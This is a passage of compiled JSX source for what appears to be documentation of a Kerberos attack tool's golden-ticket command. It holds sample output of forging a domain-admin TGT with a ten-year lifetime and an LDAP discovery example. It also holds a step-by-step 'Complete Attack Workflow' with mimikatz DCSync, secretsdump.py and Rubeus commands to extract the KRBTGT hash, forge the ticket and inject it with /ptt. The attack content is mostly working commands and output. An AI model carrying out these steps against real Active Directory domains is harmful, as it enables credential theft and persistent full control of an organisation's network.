EncTicketPart`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Generating Ticket`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Generated KERB-CRED`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Forged a TGT `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`for`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` 'admin@CORP.LOCAL'`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] AuthTime `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` 10/25/2024 1:23:45 PM`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] StartTime `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` 10/25/2024 1:23:45 PM`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] EndTime `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` 10/25/2034 1:23:45 PM`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] RenewTill `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` 10/25/2034 1:23:45 PM`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] base64(`}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`ticket.kirbi`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`):`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:` doIFujCCBbagAwIBBaEDAgEWooIEujCCBLahggS2MIIEsqADAgEFoQwbCkNPUlAuTE9D`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:` QUyhHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCmNvcnAubG9jYWyjggR9MIIEeaADAgESoQMC`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:` AQKiggRrBIIEZ2P+9l3v9...`})}),`\n`]})})}),_jsxs(ResponseField,{name:`PAC Information`,type:`object`,id:`param-pac-information`,children:[_jsx(_components.p,{children:`Details about the Privilege Attribute Certificate`}),_jsx(Expandable,{title:`PAC Fields`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Domain`}),`: Target domain and NetBIOS name`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`SID`}),`: Domain Security Identifier`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`UserId`}),`: User RID in the ticket`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Groups`}),`: Group memberships granted`]}),`\n`]})})]}),_jsxs(ResponseField,{name:`Encryption Details`,type:`object`,id:`param-encryption-details`,children:[_jsx(_components.p,{children:`Cryptographic information about the ticket`}),_jsx(Expandable,{title:`Encryption Fields`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`ServiceKey`}),`: KRBTGT key used for signing`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`ServiceKeyType`}),`: Encryption algorithm used`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`KDCKey`}),`: Key Distribution Center key`]}),`\n`]})})]}),_jsxs(ResponseField,{name:`Ticket Timing`,type:`object`,id:`param-ticket-timing`,children:[_jsx(_components.p,{children:`Validity periods for the forged ticket`}),_jsx(Expandable,{title:`Time Fields`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`AuthTime`}),`: When authentication occurred`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`StartTime`}),`: When ticket becomes valid`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`EndTime`}),`: When ticket expires`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`RenewTill`}),`: Latest renewal time`]}),`\n`]})})]}),_jsx(ResponseField,{name:`Base64 Ticket`,type:`string`,id:`param-base64-ticket`,children:_jsx(_components.p,{children:`The forged TGT in base64 format for use or storage`})})]}),_jsxs(Tab,{title:`LDAP Discovery`,id:`ldap-discovery`,children:[_jsx(CodeBlock,{filename:``,numberOfLines:`17`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`17`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Action: Build TGT`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Using LDAP to retrieve information `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`for`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` CORP.LOCAL`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Searching path `}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`'LDAP://DC=corp,DC=local'`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:` for`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` '(objectClass=domain)'`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Found domain object: `}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`DC`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`corp,`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`DC`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`local`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Domain SID: S-1-5-21-1234567890-987654321-111111111`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Searching `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`for`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` target user `}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`'admin'`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Found user object: `}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`CN`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`Administrator,`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`CN`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`Users,`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`DC`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`corp,`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`DC`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`local`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] User SID: S-1-5-21-1234567890-987654321-111111111-500`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Building PAC`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Domain `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` CORP.LOCAL (`}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`CORP`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] SID `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` S-1-5-21-1234567890-987654321-111111111`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] UserId `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` 500`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Groups `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` 512,513,518,519,520`})]}),`\n`]})})}),_jsx(Info,{children:_jsx(_components.p,{children:`LDAP mode automatically discovers domain information, making golden ticket creation much easier by eliminating the need to manually specify domain SID and other parameters.`})})]}),_jsxs(Tab,{title:`Error Scenarios`,id:`error-scenarios`,children:[_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Invalid KRBTGT hash format`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] `}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Please`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` provide`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` a`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` valid`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` RC4,`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` AES128,`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` or`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` AES256`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` hash.`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Unable to connect to domain controller `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`for`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` LDAP queries.`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Please check network connectivity and domain name.`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Insufficient privileges `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`for`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` LDAP queries.`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Consider using manual mode with /domain and /sid parameters.`})]}),`\n`]})})}),_jsxs(Warning,{children:[_jsx(_components.p,{children:`Common error scenarios:`}),_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Invalid hash format`}),`: KRBTGT hash must be valid hex string`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Network issues`}),`: LDAP mode requires DC connectivity`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Permissions`}),`: LDAP queries need authenticated domain access`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Invalid SID`}),`: Manual mode requires correct domain SID format`]}),`\n`]})]})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`complete-attack-workflow`,children:`Complete Attack Workflow`}),`\n`,_jsxs(Steps,{children:[_jsxs(Step,{title:`Obtain KRBTGT Hash`,children:[_jsx(_components.p,{children:`Extract KRBTGT credentials using DCSync or other methods:`}),_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Using Mimikatz`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`mimikatz.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` \"lsadump::dcsync /user:krbtgt\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Using Impacket`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`secretsdump.py`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` domain/user:password@dc01.corp.local`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Using Rubeus with delegation`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` dump`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /service:krbtgt`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /nowrap`})]}),`\n`]})})})]}),_jsxs(Step,{title:`Domain Information Gathering`,children:[_jsx(_components.p,{children:`Collect required domain information (if not using LDAP mode):`}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Get domain SID`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Get-ADDomain`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:` |`}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:` Select-Object`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` DomainSID`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Alternative method`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`whoami`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user`})]}),`\n`]})})})]}),_jsxs(Step,{title:`Golden Ticket Creation`,children:[_jsx(_components.p,{children:`Create the forged TGT with appropriate parameters:`}),_jsx(CodeBlock,{filename:``,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# LDAP mode (recommended)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_ntlm_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ptt`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Manual mode`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /sid:S-1-5-21...`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ptt`})]}),`\n`]})})})]}),_jsxs(Step,{title:`Verification and Usage`,children:[_jsx(_components.p,{children:`Verify the ticket was created and test access:`}),_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# List current tickets`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` klist`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Test domain controller 